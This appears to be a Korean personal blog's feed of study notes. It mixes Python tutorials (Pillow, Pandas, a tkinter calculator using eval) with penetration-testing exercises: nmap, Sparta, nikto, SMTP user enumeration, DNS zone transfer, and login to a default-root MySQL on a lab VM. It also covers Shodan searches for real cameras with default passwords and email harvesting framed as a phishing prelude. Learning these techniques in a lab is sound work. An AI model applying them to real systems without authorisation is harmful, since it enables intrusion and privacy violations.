이것은 Pillow의 영상 함수 관련 함수인 ImageEnhance 모듈을 사용하면된다.

우선 이미지의 밝기를 조절해보자.

위의 사진처럼 아주 밝게 출력된다.

만약 enhancer.enhance(0.5).show()로 입력한다면

위와 같이 사진이 어둡게 출력되는 것을 알 수 있다.

이번엔 이미지의 밝은 부분을 더 밝게 어두운 부분을 더 어둡게 출력해보자.

위와 같이 코드를 입력하면

이미지의 밝은 부분을 더 밝게 어두운 부분을 더 어둡게 출력할 수 있다.

이것도 enhancer.enhance(0.5).show()로 변경해보자.

그러면 위의 사진과 같이 출력이 된다.

(어두운 부분은 밝아지고 밝은 부분은 어두워진다.)

[액티브스캐닝] 간편한 스캐닝 툴 Sparta

notepad.exe — Sat, 5 Sep 2020 15:48:00 +0900

Sparta은 상당히 강력한 프로그램이다.

이것을 이용하면 액티브 스캐닝을 하주 간단하게 수행할 수 있다.

Sparta는 nmap을 1차적으로 실행하여 각종 포트를 검색한 후 web포트가 있으면 nikto를 실행하고 smtp포드가 있으면 VRFY기법을 사용하여 사용자 정보를 검사해주게 된다.

또한 데이터 베이스 포트가 검색되면 기본 사용자 계정이 설정되어 있는지 이런 것들을 모두 자동으로 검사해준다.

(이때까지 배운 것들의 종합선물세트)

위의 사진에 처럼 들어가면 sparta 아이콘이 있다.

그것을 클릭한다.

그럼 이런 창이 뜬다.

그럼 위의 사진처럼 클릭한다.

그리고 대상 ip를 입력한다.

위와 같이 메타스플로잇 터블 ip를 입력한다.

(ip입력은 입력 칸 밑과 같이 전범위로 입력해도 된다.)

체크박스 부분을 보면 Run nmap host discovery가 있는데 그것은 네트워크 범위 전체를 입력했을 때 호스트 검색을 하는 옵션이다.

그리고 Run staged nmap scan가 있는데 그것은 포트가 검색이 되었을 때 각 포트에서 추가적으로 검색을 할 건가 라는

옵션이다.

이것을 다 체크하고 실행해보겠다.

실행을 해보면 namp이 먼저 실행되는 것을 확인할 수 있다.

그리고 실행하다 보면 이런 창이 뜨는데 그냥 무시하고 창을 껐다.

Services 부분을 보면 각 포트별의 서비스 버전을 확인할 수 있다.

이번엔 위의 사진과 같이 ftp에 오른쪽 마우스를 클릭해서 Run nmap을 클릭한다.

그리고 Scripts옵션에 들어가면 ftp-anon 스크립트가 실행되었고 내용은 Anonymous FTP로 로그인이 가능하다는 정보를 확인할 수 있었다.

그리고 information탭에서는 운영체제 같은 정보를 확인 할 수 있었다.

notes 탭에는 알아낸 정보 같은 것을 기록하는 데 사용한다.

nikto탭은 80번 포트를 찾았을 때 자동으로 nikto를 실행한 결과를 확인할 수 있었다.

위의 탭은 말 그대로 스크린숏을 자동으로 찍은 것이다.

smpt포트를 찾으면 자동으로 smtp-enum-vrfy를 실행하고 결과를 출력해준다.

데이터베이스가 실행되어있다면 위의 결과처럼 출력이 된다.

데이터베이스에서 root 디폴트 계정이 사용되었다는 것이 출력되었다.

이것을 바로 유용하게 활용이 가능하다.

위와 같이 mysql -h 대상의 ip -u root라고 명령을 입력한다.

그럼 간단하게 위와 같이 데이터베이스에 접속이 가능하다.

위와 같이 show databases;이라고 입력하면 데이터베이스들을 확인 가능하다.

원하는 데이터 베이스를 선택(use dvwa;)하고 그 안의 테이블(show tables;)도 볼 수 있다.

이것으로 Sparta는 스캐닝에 있어서 아주 간편하다는 것을 알 수 있다.

이것은 방어하는 입장에서도 유용하다.

내부 직원들이 어떠한 포트를 열고 있는지 쉽게 확인할 수 있다.

손쉽게 취약점을 찾을 수 있다.

[액티브스캐닝] 웹 스캐닝

notepad.exe — Tue, 1 Sep 2020 12:00:11 +0900

이번엔 구동 중인 웹서버의 정보를 수집해보자.

nikto는 -Help옵션을 입력해서 사용법을 확인할 수 있다.

왜냐하면 nikto에서 -h의 옵션은 호스트를 지정할 때 사용하기 때문이다.

메타스플로잇터블에 80번 포트가 열여 있으므로 그것을 대상으로 nikto를 실행해보았다.

일단 서버가 무엇인지 알 수 있고

PHP 버전 정보를 알아낼 수 있었다.

그리고 X-Frame-Options 헤더와 XXS방어 헤더, X-content-Type-Options 헤더와 같은 것들이 설정되어 있지 않다고 출력이 되었다.

이런 정보들을 이용해서 알려진 취약점으로 공격이 가능하기 때문에 공격의 단서가 될 수 있다.

그리고 조금 밑에 phpinfo라는 것이 있다.

이것이 외부에 공개되어 있다면 아주 위험하다.

왜냐하면 이것을 이용해서 많은 정보가 유출될 수 있기 때문이다.

위의 사진처럼 메타스플로잇터블 ip를 입력하고 /하고 phpinfo.php를 입력해보았다.

그러자 다음과 같이 php버전 정보와 시스템 정보 같은 각종 정보를 확인할 수 있다.

그래서 보안적으로 phpinfo파일을 외부로 노출시키면 안 된다.

그리고 또 다른 내용을 확인하면 위와 같이 /doc/를 찾을 수 있다.

그 부분에 Directory indexing을 찾았다고 적혀있는데 그것은 특정 디렉터리 안의 파일들이 외부로 노출되는 취약점이다.

메타스플로잇터블 ip를 입력하고 /doc/를 입력해보았다.

그러면 위의 사진과 같이 파일에 접근할 수 있게 된다.

관리가 소홀한 사이트일 경우 중요한 문서나 기타 파일들이 원하지 않게 노출될 수 있다.

아파치를 설치하면 기본적으로 이 Directory indexing이 사용되도록 설정되어있기 때문에 꼭 필요한 경우가 아니라면

아파치 설정 파일을 수정하여 Directory indexing을 사용하지 않도록 해야 한다.

칼리리눅스에 설치되어있는 아파치 파일을 예로 위의 사진처럼 명령어를 입력한다.

그럼 위의 사진처럼 나오는데

쭉 밑으로 내리면서 확인해보면 indexes가 있다.

이것일 지우고 아파치를 재시작하면 Directory indexing 문제를 해결할 수 있다.

[액티브스캐닝] SMTP 정보수집

notepad.exe — Mon, 31 Aug 2020 15:44:15 +0900

오늘은 SMTP를 이용해서 정보수집을 해보자.

나의 메타스플로잇터블은 SMTP포트가 열려있는 상태이다.

nc를 이용해서 메타스플로잇터블에 접속하였다.

VRFY root, VRFY test라고 입력을 하니 위와 같은 결과가 나왔다.

root와 test는 메타스플로잇터블에 존재하는 계정이다.

그리고 VRFY john을 입력했는데 위와 같은 결과가 나왔다.

john은 존재하지 않는 계정이다.

이런 방식으로 사용자의 계정을 알 수 있지만 이것을 하나씩 찾아보기에는 역시 무리가 있다.

그래서 대신해서 사용할 수 있는 방법이 SMTP-user-enum이다.

위의 사진처럼 -h 옵션을 사용하면 사용법을 알 수 있다.

그리고 사용법 맨아래 제일 위쪽 -U옵션의 예제가 있다.

그것을 보면 user.txt 파일을 확인할 수 있다.

어떤 파일을 넣어야되냐면 사용자 이름을 나열한 파일을 넣어야 한다.

직접 파일을 만들어서 넣어도 가능하지만 여기 칼리리눅스에 이미 넣어져 있으므로 그것을 이용해보겠다.

/usr/share/wordlists/ 위치의 파일들은 공격 대상이 이용될 수 있는 사용자 목록이나 패스워드 목록들을 들어있다.

위의 경로를 따라 namelist에 들어 가보자.

그럼 위와 같이 사용자 이름으로 쓸만한 내용들이 나열되어있다.

위의 파일을 이용해서 SMTP-user-enum을 사용해보자.

사용법 예제를 참고해서 위와 같이 입력했다.

그러니 위와 같이 어떤 사용자 이름들이 있었는지 확인할 수 있었다.

[파이썬]문서 프로그램 다루기 - 1

notepad.exe — Sun, 30 Aug 2020 19:10:31 +0900

Pandas란?

패널 데이터 (계량 경제 용어)와 Python 데이터 분석의 이름을 따서 불리고 있다.

고수준의 자료구조와 파이썬을 통한 빠르고 데이터 분석 도구를 포함하고 있다.

NumPy기반에서 개발되어 NumPy를 사용하는 애플리케이션에 쉽게 적용한다.

널리 사용되는 오픈 소스 Python프로젝트이다.

그렇다면 이 Pandas를 이용해 보자

1. 시리즈(Series) 생성

Series : 일련의 객체를 담을 수 있는 1차원 배열 같은 자료 구조

이렇게 입력하면

이렇게 출력된다.

이때 왼쪽(0, 1, 2)는 인덱스이고 오른쪽(1, 2, 3)은 값이다.

밑의 dtype은 데이터 타입을 나타낸다.

2. 시리즈(Series) 인덱스 수정

이렇게 입력하면

다음과 같이 a의 인덱스 값을 수정할 수 있다.

위와 같이 한줄로도 처리 가능하다.

3. 시리즈(Series) 색인 검색

위와 같이 입력하면

a위치에 1이라는 값이 있다는 것을 확인할 수 있다.

이번엔 b의 b위치에 2017이라는 값을 넣었고 b를 출력하였다.

결과는 다음과 같다.

4. 시리즈(Series) 연산

b가 3보다 큰 것만 출력

결과는 다음과 같다.

위와 같이 *2를 하면 기존 파일 썬은 길이가 2배가 되어 버리지만 NumPy는 값에 *2를 한다.

그래서 다음과 같은 결과를 얻을 수 있다.

5. 시리즈(Series) dict 매핑

위와 같이 name에는 choi, age에는 30 같이 넣어주고 dict_data를 Series로 쭉 밀어 넣으면

위와 같이 인덱스가 원하는 대로 입력이 되었고 값도 자동으로 입력되어 예쁘게 세팅된 것을 확인할 수 있다.

위의 코드는 sr_data에 데이터가 있는지 없는지 확인하는 것이다.

그럼 위와 같은 결과를 얻을 수 있다.

Series의 이름과 인덱스의 이름 설정이 가능하다.

위의 코드를 입력하면

위의 결과와 같이 인덱스의 이름과 설정이 된다.

[포트 스캐닝] Nmap사용하기

notepad.exe — Wed, 12 Aug 2020 12:00:56 +0900

1. 개요

포트 스캐닝은 대상 호스트에 "어떤 포트가 열려있는지"와 "어떤 서비스가 작동하는지?" 알아보는 것을 말하는 것이다.

포트라는 것은 간단하게 말하면 웹서비스, ftp서비스 등의 서비스를 제공할 때 사용하는 것이다.

각각의 포트는 고유의 번호를 가지고 있으며 0~65,535로 구성되어있다.

원래 포트번호는 아무 숫자 임의로 사용할 수 있지만 우리가 잘 알고 있는 서비스의 포트는 암묵적으로 정해져 있다.

잘 알려진 포트번호는 vi /etc/services 명령어를 입력해서 확인할 수 있다.

2. Nmap

포트 스캐닝은 거의 Nmap을 사용한다.

nmap -h를 입력하거나 man nmap을 입력하면 각 옵션에 대해서 설명해준다.

내 컴퓨터의 ip주소를 입력(nmap + ip주소)해보니 다음의 포트가 열려있는 것을 확인할 수 있었다.

이번엔 UDP옵션(-sU)를 입력하고 검색할 포트 범위(-p)를 입력해보자.

(UDP옵션은 매우 느리기 때문에 포트 범위를 지정하는 것이 좋다.)

결과를 보면 STATE에 open|filtered라고 되어있는 것들을 볼 수 있다.

그것은 방화벽의 영향을 받았을지 모른다는 것을 알려주는 것이다.

이런 것은 나중에 추가로 테스트해야 되는 것일 수도 있다.

-O 옵션을 주고 명령하면 대상의 운영체제를 알 수 있다.

결과는 오라클 버추얼박스로 나오는데.... 음... 이 부분은 좀 더 공부해야 될 것 같다.

-sV 옵션을 사용하면 위의 사진과 같이 각 서비스에 해당하는 버전들을 출력한다.

-A 옵션을 사용하면 모두 종합해서 결과를 뽑아낼 수 있다.

하지만 종합적인 결과를 뽑는 시간이 꽤 오래 걸린다는 것을 알 수 있다.

그래서 시간이 촉박하다면 필요한 옵션만 사용하는 것이 좋다.

같은 네트워크 내의 컴퓨터(호스트)ip주소를 검색하기

notepad.exe — Sun, 9 Aug 2020 12:00:31 +0900

1. 개요

공격 대상을 직접 스캐닝하는 단계이다.

액티브 스캐닝부터는 불법이기 때문에 반드시 허가를 받아야 한다.

대표적인 액티브 스캐닝으로는 DNS 정보수집, 포트 스캐닝, 웹 스캐닝, 종합 취약점 스캐닝 등이 있다.

오늘은 호스트 검색을 해보겠다.

2. 호스트검색

모의해킹은 외부에서 시작할 수도 있지만 경우에 따라서 내부에서부터 시작할 수도 있다.

또 외부에서 수행하더라도 1차적으로 호스트 하나를 공격해서 침투에 성공하고 나면 내부 네트워크에서

다른 호스트를 추가로 공격하는 경우가 있다.

이럴 때 종종 다른 호스트의 ip주소를 모르는 경우가 발생할 수 있다.

오늘 실습은 내부에서 모의해킹을 하는 것이라고 가정을 하고 같은 네트워크 안에 있는 호스트 ip주소를 알아내 보자.

우선 핑에 대해서 알아보자.

핑은 어떤 호스트가 살아있는지 간단하게 알아볼 수 있는 명령어이다.

핑은 ICMP라는 네트워크 요청을 보내어 상대방 호스트가 살아있으면 ICMP응답을 보내는데 그 결과를 확인하여 호스트가 살아있는지 알 수 있다.

(핑이 안 때려지는 경우는 방화벽을 사용해서 ICMP를 차단하는 경우이다.)

위에 사진은 ping 127.0.0.1의 명령어를 입력해서 자기 자신에게 핑을 때린 것이다.

(위의 사진과 같이 응답 시간도 출력이 된다.)

fping 옵션들

이제 네트워크 전체에 이 핑을 뿌려보자.

fping이라는 명령어를 이용하면 핑을 여러 개로 동시에 보낼 수 있다.

일단 자신의 ip를 보기 위해 ip addr을 입력했다.

그리고 자신의 사설 네트워크 ip를 확인한다.

나는 192.168.56.101/24이다.

주로 많이 사용하는 옵션 -g(네트워크 대역 설정)을 사용했다.

fping -g 자신의 사설 ip 명령어를 입력해준다.

그리고 결과가 많이 나오는데 결과들이 너무 많고 알아보기 힘들다.

그래서 위의 사진과 같이 -q(조용히), -a(살아있는 호스트만)이라는 옵션을 추가해서 입력했다.

결과는 다음과 같이 나왔다.

좀 더 정확한 결과를 얻기 위해 nmap을 사용하였다.

nmap -sn 192.168.56.101/24 명령어를 입력하니 위의 사진과 같이 아까 fping과 다르게 3개의 결과가 나왔다.

이유는 fping에서 검색되지 않은 호스트는 윈도이기 때문에 ping이 차단되었기 때문이다.

[액티브 스캐닝] DNS 정보 수집하기

notepad.exe — Sat, 8 Aug 2020 12:00:02 +0900

1. 개요

공격 대상을 직접 스캐닝하는 단계이다.

액티브 스캐닝부터는 불법이기 때문에 반드시 허가를 받아야 한다.

대표적인 액티브 스캐닝으로는 DNS 정보수집, 포트 스캐닝, 웹 스캐닝, 종합 취약점 스캐닝 등이 있다.

오늘은 DNS 정보수집을 실습해볼 것이다.

2. DNS 정보수집

DNS 서버를 이용하면 ip주소와 서버 정보 등 각종 유용한 정보를 얻을 수 있다.

특히 외부에서 모의해킹을 할 때 도움이 된다.

(DNS는 도메인 이름을 ip주소로 변경하기 위해서 사용한다.)

오늘 실습에 사용될 사이트는 zonetransfer.me이다.

이 사이트는 외국에서 교육 목적으로 사용되고 있으며 누구나 그 사이트를 이용할 수 있다.

(미리 허가가 되어있는 사이트이기 때문에 실습이 가능하다.)

zonetransfer.me 사이트

host라는 명령어는 DNS 정보를 알아내는 간단한 프로그램이다.

위와 같이 host zonetransfer.me라고 명령어를 입력해주면 ip주소와 e메일 주소 관련 서버를 알 수 있게 된다.

또 이런 ip주소를 알아낼 때 nslookup을 사용할 수도 있다.

위와 같이 nslookup zonetransfer.me라고 입력해준다.

그러면 위와 같이 ip주소를 얻을 수 있다.

또 DNS 서버 요청을 처리하는 네임 서버라는 곳이 있는데 이곳은 사이트의 서브도메인과 ip주소를 모두 알고 있다.

host -t ns zonetransfer.me를 입력해준다.

그러면 위와 같이 zonetransfer.me의 네임서버를 알 수 있다.

이 네임서버의 이름을 알아내면 zonetransfer라는 공격을 할 수 있다.

zonetransfer라는 것은 원래 DNS 서버들끼리 자신의 데이터 베이스를 복사해주어서 서로 정보를 공유를 하기 위해 사용하는 것이다.

일반적으로 관리자는 권한이 있는 서버들에게만 허용을 해줘야 된다.

이것을 잘못 설정하게 되면 외부에서도 zonetransfer가 가능하게 된다.

(zonetransfer.me는 이 공격을 실습하기 위해 만든 사이트라서 불법이 아니다.)

위의 사진과 같이 host -l zonetransfer.me nsztm1.digi.ninja를 입력해준다.

그럼 위와 같이 zonetransfer.me의 서브 도메인이 출력되었다.

그리고 그 서브 도메인의 ip주소도 알 수 있게 된다.

또 다른 방법으로 dnsenum을 사용할 수 있다.

위와 같이 dnsenum -h를 입력해준다.

그러면 dnsenum의 다양한 옵션들을 볼 수 있다.

하지만 그냥 간단하게 도메인 이름만 넣어서도 사용이 가능하기에 그렇게 실습을 해보겠다.

dnsenum zonetransfer.me를 입력해주면 위와 같이 네임서버, 메일서버 zonetransfer를 실행한 결과들을 보여주고 있다.

(너무 많기 때문에 밑에 부분을 잘랐다.)

쇼단을 이용해서 보안 취약점을 가지 시스템을 찾아내기

notepad.exe — Fri, 7 Aug 2020 12:00:33 +0900

1. 쇼단이란?

보안 취약점을 가진 시스템을 찾아내어, 보안을 강화하기 위한 수단으로 개발되었다.

보안 취약점을 가진 시스템을 찾아 주는 기능을 가지고 있기 때문에 “어둠의 구글”, “해커들의 놀이터”라는 별칭이 따라붙고 있다.

쇼단은 특정한 조건에 맞는 서버(Server), 라우터(Router), CCTV 카메라, 각종 IoT 디바이스

를 찾아주는 검색엔진이다.

CCTV를 많이 사용하는 한국은 위협이 될 수 있다.

만약 보안에 관심이 없는 사람이 ID/Password를 변경하지 않고 공장 출하 값으로 그대로 사용하고 있다면, 촬영 내용이 의도치 않게 외부로 노출되게 된다.

또 공격 대상을 검색해서 대상의 IP 주소를 알아낼 수 있고 열려있는 포트 번호도 확인이 가능하다.

쇼단

2. 쇼단을 이용해서 한국에서 아파치를 이용하는 서버 검색

일단 한국에서 아파치를 사용하는 서버를 검색하였다.

아파치 서버를 사용하는 리스트들이 출력이 되었다.

지도를 키면 아파치 서버를 사용하는 회사의 위치도 알 수 있다.

아파치를 사용하는 서버 리스트들 중에 Korea Telecom 이란 곳에 들어갔다.

마지막 업데이트 날짜와 지역을 알 수 있었다.

열려있는 포트는 다음과 같다.

22번 포트(SSH), 80번 포트(http), 443번 포트(https), 3306번 포트(mysql)을 확인할 수 있으므로 이 서버는 웹서버임을 알 수 있다.

SSH, http, https 포트가 열려있다는 것을 확인할 수 있으면 각각의 버전 역시 알 수 있다.

버전을 알 수 있다면 그 버전에 취약한 해킹방법을 이용할 수 있다. 만약 버전이 낮은 서버가 있다면 그 버전에 따른 해킹 공격을 시도할 수 있다.

그리고 데이터베이스가 mysql이라는 것을 확인할 수 있었다. 데이터베이스가 무엇인지 안다면 그에 맞는 주석을 알아낼 수 있다. 그리고 그 주석을 이용해서 공격자는 sql 인젝션 공격을 시도할 수 있다.

3. 쇼단을 이용해서 한국에서 MySQL을 이용하는 서버 검색

만약 공격자가 MySQL에 대해서 잘 아는 공격자라면 이러한 검색으로 공격 타깃을 찾아낼 수 있다.

4. 쇼단을 이용해서 카메라 접속하기

이러한 검색을 해서 한국의 카메라를 검색했다.

검색 결과 중에서 SK Broadband 카메라를 찾았다.

아이피로 접속해보니 로그인 창이 출력되었다.

만약 카메라 사용자가 보안에 관심이 없는 사람이고 ID/Password를 변경하지 않았다면

CCTV 초기 ID/Password로 공격자는 손쉽게 CCTV에 접근할 수 있을 것이다.

cctv 초기 ID/Password는 구글을 통해 쉽게 알아낼 수 있었다.

5. 검색 결과에 대한 분석 또는 위협 내용 분석

1. 회사 서버의 위치를 알 수 있다.

검색을 통해 회사 서버의 위치를 알 수 있다. 이것은 사회공학적 해킹을 시도할 수 있을 것이다.

2. IP 주소와 포트 주소를 알아낼 수 있다.

검색을 통해 서버의 IP 주소와 열려있는 포트 주소를 알아낼 수 있다. IP 주소와 열려있는 포트를 안다면 DDoS 공격을 시도할 수 있을 것이다.

3. 웹서버의 데이터 베이스를 알아낼 수 있다.

데이터베이스가 무엇인지 안다면 그에 맞는 주석을 알아낼 수 있다. 그리고 그 주석을 이용해서 공격자는 sql 인젝션 공격을 시도할 수 있다. 데이터 베이스의 버전도 알 수 있으므로 그에 맞는 sql 인젝션 공격이 가능하다.

4. 카메라의 IP를 알 수 있고 카메라로 접속이 가능하다.

카메라의 IP를 알아낼 수 있고 접속 역시 가능하다.

만약 카메라 사용자가 CCTV 초기 ID/Password를 그대로 사용했다면 공격자는 손쉽게 CCTV에 접근할 수 있을 것이다.

importerror: dll load failed while importing error: 지정된 모듈을 찾을 수 없습니다. [Jupyter notebook]

notepad.exe — Tue, 4 Aug 2020 10:46:29 +0900

importerror: dll load failed while importing error: 지정된 모듈을 찾을 수 없습니다.

1. 에러

주피터 노트북을 사용하려다 발생한 에러이다.

C:\Users\user\anaconda3\Scripts\jupyter.exe notebook

명령을 했을 때 발생했다.

원인은 모듈이 제대로 설치가 되지 않는 것 같다.

2. 해결

간단하게 해결하였다.

아나콘다를 재설치하고 체크박스를 전부 체크하고 설치하였다.

[파이썬] 문서 프로그램 다뤄보기

notepad.exe — Mon, 3 Aug 2020 23:04:13 +0900

Jupyter Notebook을 사용해서 문서 프로그램을 다루었다.

1. 엑셀 파일 다루기

결과

#test.csv로 파일 쓰기

df.to_csv("test.csv")

결과

#col1, col3만 읽어오기

pd.read_csv(StringIO(data), usecols=['col1', 'col3'])

결과

3. 열 데이터 유형 지정

data = 'a,b,c\n1,2,3\n4,5,6\n7,8,9'
df = pd.read_csv(StringIO(data), dtype=object) #object옵션
df

결과

#df['a'][0]

결과

import numpy as np

df = pd.read_csv(StringIO(data), dtype={'b': object, 'c': np.float64}) #b는 object, c는 np.float64옵션

df.dtypes

결과

[파이썬] GUI 계산기

notepad.exe — Sat, 1 Aug 2020 20:45:22 +0900

from tkinter import *

window = Tk()

window.title("계산기 만들기")

e=Entry(window, width=40, bg="yellow", fg="black", bd=5)

e.grid(row=0, column=0, columnspan=5)

buttons = [

'0','1','2','+','%',

'3','4','5','-','//',

'6','7','8','*','**',

'9','.','=','/','C']

def click(key):

if key == '=':

result=eval(e.get())

s=str(result)

e.delete(0,END)

e.insert(0,s)

elif key == 'C':

e.delete(0,END)

else:

e.insert(END,key)

row=1

col=0

for text in buttons:

def process(t=text):

click(t)

b=Button(window, text=text, width=7, height=3, command=process)

b.grid(row=row, column=col)

col += 1

if col > 4 :

row += 1

col = 0

window.mainloop()

(들여쓰기 해야됨)

칼리 리눅스 외의 해킹에 사용될 수 있는 리눅스

notepad.exe — Sat, 1 Aug 2020 19:11:41 +0900

1. 개요

칼리 리눅스

모의 침투 테스트를 할 때 리눅스를 사용한다. 칼리 리눅스, 펜투(Pentoo) 리눅스, BackBox 리눅스, CAINE 리눅스 등을 이용한다. 가장 많이 사용하는 모의 침투 테스트 리눅스는 칼리 리눅스이다. 그래서 가장 잘 알려져 있는 칼리 리눅스를 제외하고 3개의 모의 침투 테스트 리눅스를 조사하고 그것을 칼리 리눅스와 비교해서 분석하였다.

2. 펜투(Pentoo) 리눅스

펜투 리눅스

1. 소개

기존 젠투 리눅스 설치를 위한 오버레이로도 이용 가능하다. 또 패킷 주입 패치 wi-fi 드라이버, GPGPU 크래킹 소프트웨어 및 침투 테스트 및 보안 평가를 위한 많은 도구를 갖추고 있다. 바이너리는 최신 야간 버전의 일부 도구를 사용하여 강화된 툴체인에서 컴파일된 바이너리와 함께 제공한다.

2. 특징

(1) openCL 및 CUDA가 '바로 사용 가능'으로 구성된 GPGPU를 사용하여 비밀번호를 해독하는데 필요한 환경을 포함한다.

(2) 여분의 패치로 강화된 커널

(3) 펜투 오버레이를 사용하여 표준 젠투 빌드 위에 도구를 빌드 할 수 있다.

(4) HDD에 설치된 경우 LUKS로 전체 디스크 암호화 지원한다.

3. 장점

(1) 초보자인 경우 설치라지 않고 라이브 모드에서 테스트를 할 수 있고 전문가인 경우 모든 도구를 여기에 사용할 수 있으며 나중에 다운로드할 수도 있다.

(2) USB 스틱에서 직접 실행할 수 있다.

(3) Xfce는 여러 사용자 정의 옵션이 있는 비교적 가벼운 데스크톱 환경이므로 성능을 향상시킨다.

4. 단점

(1) 운영 체제, 설치 프로그램, 지원 도구의 내부 작업 및 안정성 향상에 중점을 두기 때문에 웹 사이트의 유지 관리가 잘 되어있지 않다. (심지어 마케팅 부서나 웹 개발자가 없다.)

(2) 친숙한 패키지 관리자가 없으며 일부 초보자에게는 이것에 어려움을 느낄 수 있다.

5. 배포판에 포함된 도구

분석기, 블루투스, 크래커, 데이터 베이스, 개발, Exploit, Footprint, 법의학, Forging,

Fuzzers, MitM, Pentoo, Proxy, RCE, 스캐너, SIP-VOIP, 무선 등이 제공되어 있다

6. Kali Linux 와 비교 분석

칼리 리눅스와 달리 팀 마케팅 부서나 웹 개발자가 없어서 웹사이트 유지 관리가 부족하다. 하지만 해킹 소프트웨어가 설치되는 방식을 좀 더 세밀하게 제어해야 한다면 Pentoo가 적합하다. 라이브러리, 칩셋, 데스크톱 환경, 프로토콜, 스크립트 언어, 데이터베이스에 대한 매우 구체적인 지원 소스에서 소프트웨어를 설치에 관해서는 젠투 기반 운영체제인 Pentoo가 더 좋을 것이다.

3. BackBox 리눅스

BackBox 리눅스

1. 소개

침투 테스트 및 보안 평가 중심의 우분투(Ubuntu) 기반 리눅스 배포판으로 네트워크 및 정보 시스템 분석 툴킷을 제공합니다. 윤리적 해킹 및 보안 테스트에 필요한 완전한 도구 세트가 포함되어 있다.

2. 특징

널리 사용되는 네트워크 및 시스템 보안 분석 툴킷에는 웹 응용프로그램 분석, 네트워크 분석, 스트레스 테스트, 취약성 평가, 컴퓨터 법의학 분석 및 악용 등 다양한 목적을 위한 윤리적 해킹 및 보안 테스트 도구 세트가 포함되어 있다.

3. 장점

(1) 보안 평가를 수행하기 위한 강력한 도구가 사전 로드되어 있다. 특히 Launchpad 리포지토리 코어는 최신 주요 펜 테스팅 / 윤리적 해킹 도구의 안정적인 최신 버전으로 지속적으로 업데이트된다.

(2) Ubuntu와 Debian Linux 배포판을 기반으로 하기 때문에 운영자의 판단에 따라 푸가 확장성을 쉽게 구축할 수 있다.

(3) Wireshark와 같은 모든 기능을 갖춘 도구가 솔루션에 통합되어 있다.

4. 단점

(1) 공격 보안의 공식 버그 바운티 프로그램을 원하지 않는다.

(2) 유닉스 및 유닉스 명령어에 대한 경험이 있어야 하고 최대한 명령어를 잘 활용할 줄 알아야 한다.

5. 배포판에 포함된 도구

메타 스플로잇, Armitage, Nmap, OpenVAS, W3af, 사회공학툴킷, Ettercap, Scapy, 와이어 샤크, 키즈멧, Aircrack, Ophcrack, SQLMap, 존 더 리퍼 등이 제공 되어있다.

6. Kali Linux 와 비교 분석

BackBox 리눅스는 버그 바운티 프로그램을 제공하지 않고 칼리 리눅스는 그것을 제공한다. 그래서 버그 바운티 프로그램을 필요한 사용자는 BackBox 리눅스를 사용하는 것을 권장하지 않는다. 하지만 런치 패드 저장소 코어를 이용해서 오픈소스 커뮤니티에서 가장 널리 사용되는 윤리적 해킹 도구를 최신 버전으로 지속적으로 업데이트하기 때문에 윤리적 해킹를 공부하고 싶다면 사용을 권장한다.

4. CAINE 리눅스

CAINE 리눅스

1. 소개

GUI 환경에서 강력한 스크립트와 함께 소프트웨어 도구를 모듈로 통합하는 전문 오픈 소스 포렌식 플랫폼이다. 운영환경은 법의학 전문가에게 디지털 법의학 조사 프로세스 (보존, 수집, 검사, 분석)을 수행하는 데 필요한 모든 도구를 제공할 목적으로 설계되었다.

2. 특징

법의학적 작업을 수행하기 위해 그래픽 또는 명령 줄 환경에서 사용할 수 있는 수많은 소프트웨어 응용 프로그램, 스크립트 및 라이브러리가 있다. CAINE은 Microsoft Windows, Linux 및 일부 Unix 시스템에서 작성된 데이터 오브젝트의 데이터 분석을 수행할 수 있다.

3. 장점

(1) 디지털 조사의 4단계 동안 디지털 조사자를 지원하는 상호 운용 가능한 환경이다.

(2) 사용자 친화적인 그래픽 인터페이스이다.

(3) 전자 증거를 수집하고 분석하는 동안 문서 및 보고서 편집을 위한 반자동 프로세스를 제공한다.

4. 단점

(1) 시스템 작업 및 설치가 어려워서 UEFI 시스템에 설치하는 동안 번거로울 수 있다.

(2) 범용 리눅스 시스템으로 사용하기에는 너무 복잡하고 관리하기가 어렵다.

5. 배포판에 포함된 도구

Sleuth Kit, Autopsy, RegRipper, Tinfoleak, Wireshark, PhotoRec, Fsstat 등이 제공 되어있다.

6. Kali Linux 와 비교 분석

CAINE 리눅스는 Kali 리눅스와 다르게 포렌식에 특화되어있다. 디지털 조사의 4단계 동안 디지털 조사자를 지원하는 상호 운용 가능한 환경과 사용자와 친화적인 GUI 그리고 전자 증거를 수집하고 분석하는 동안 문서 및 보고서를 반자동을 편집할 수 있다. 그래서 포렌식을 주로 사용하는 사용자는 Kali 리눅스보다 CAINE 리눅스를 이용하는 것이 좋을 것이다.

Recon-ng

notepad.exe — Sun, 26 Jul 2020 22:49:28 +0900

Recon-ng는 파이썬으로 개발된 정찰용 프레임워크이다.

이 프레임워크를 이용해서 다양한 독립모듈을 이용할 수 있다.

사용방법은 아주 간단해서 배우기 쉽다.

우선 Recon-ng를 입력하여 Recon-ng를 켜준다.

밑에 보이는 파란글자를 보면 모듈 갯수를 알 수 있다.

여기서 help를 입력했다.

그러면 명령어 사용법이 나온다.

핵심적인 명령어만 조금 사용해보았다.

whois_poc모듈을 검색해보려고 search whois_poc를 입력했다.

그러면 다음과 같이 모듈의 위치를 확인할 수 있다.

whois_poc는 thehavest처럼 직원의 이메일을 찾을 때 사용한다.

차이점은 thehavest는 찾을때 검색사이트에서 공개된 정보를 찾고 whois_poc는 whois서버에 공개되어있는 정보를 사용하는 것이다.

use recon/domains-contacts/whois_pocs를 입력해준다.

그 다음 show info입력한다.

그러면 이 모듈의 정보를 확인할 수 있다.

혹시 show info 명령어가 기억이 나지 않는다면 help show를 입력하면된다.

그럼 위의 사진처럼 show뒤에 붙을 수 있는 명령어를 볼 수 있다.

이번엔 show options를 입력해보자.

여기에서 보이는 옵션들은 모듈이 실행되기 위해서 필요한 것들을 설정해주는 것이다.

여기서 Required가 되어있는 부분이 필수 옵션이다.

이 부분은 무조건 설정을 해야된다.

그리고 이 모듈은 SOURCE라는 것만 설정하면 된다.

이 SOURCE에다 정보를 수집하고 싶은 대상의 도메인 주소를 설정하면 된다.

마이크로소프트를 대상으로 했을 때 set source microsoft.com을 입력하면 된다.

이제 옵션설정이 끝났다면 run을 입력하여 모듈을 실행한다.

작동하는 모습

어느 정도 시간이 지나면 ctrl + c로 작동을 멈춘다.

그리고 show contacts입력한다.

수집한 이메일과 각종 정보를 볼 수 있다.

이메일 수집

notepad.exe — Sun, 26 Jul 2020 19:24:47 +0900

특정회사를 해킹하려고 할 때 해커가 직원들의 이메일을 먼저 수집하고 그 직원을 대상으로 피싱 메일을 보내서 직원 pc로 침투하는 시나리오로 가정한다.

